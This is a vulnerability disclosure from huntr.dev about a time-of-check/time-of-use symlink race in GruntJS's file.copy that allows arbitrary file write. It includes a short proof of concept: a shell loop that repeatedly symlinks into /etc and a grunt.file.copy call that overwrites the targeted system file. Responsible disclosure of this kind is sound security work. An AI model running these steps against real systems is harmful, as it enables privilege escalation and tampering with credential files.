Lucene search

K
huntrHaxatron0179C3E5-BC02-4FC9-8491-A1A319B51B4D
HistoryApr 12, 2022 - 4:15 p.m.

file.copy operations in GruntJS are vulnerable to a TOCTOU race condition leading to arbitrary file write

2022-04-1216:15:32
haxatron
www.huntr.dev
22
gruntjs
vulnerability
race condition
symlink
arbitrary file write

EPSS

0

Percentile

5.1%

Description

file.copy operations in GruntJS are vulnerable to a TOC-TOU race condition leading to arbitrary file write when an attacker can create a symlink just after deletion of the dest symlink (by repeatedly calling ln -s /etc/shadow2 dest/shadow2 in a while loop) but right before the symlink is written to. I hypothesised this and mentioned this earlier in my last comment in my previous report but it remained unresolved, so I have managed to reproduce it in the following PoC:

Proof of Concept

1: As a lower-privileged user:

mkdir src
mkdir dest
echo "<overwrite shadow file here>" > src/shadow2
while true; do ln -s /etc/shadow2 dest/shadow2; done;

2: Now execute the following PoC:

grunt = require('grunt')
grunt.file.copy("src", "dest")

3: /etc/shadow2 is overwritten

<overwrite shadow file here>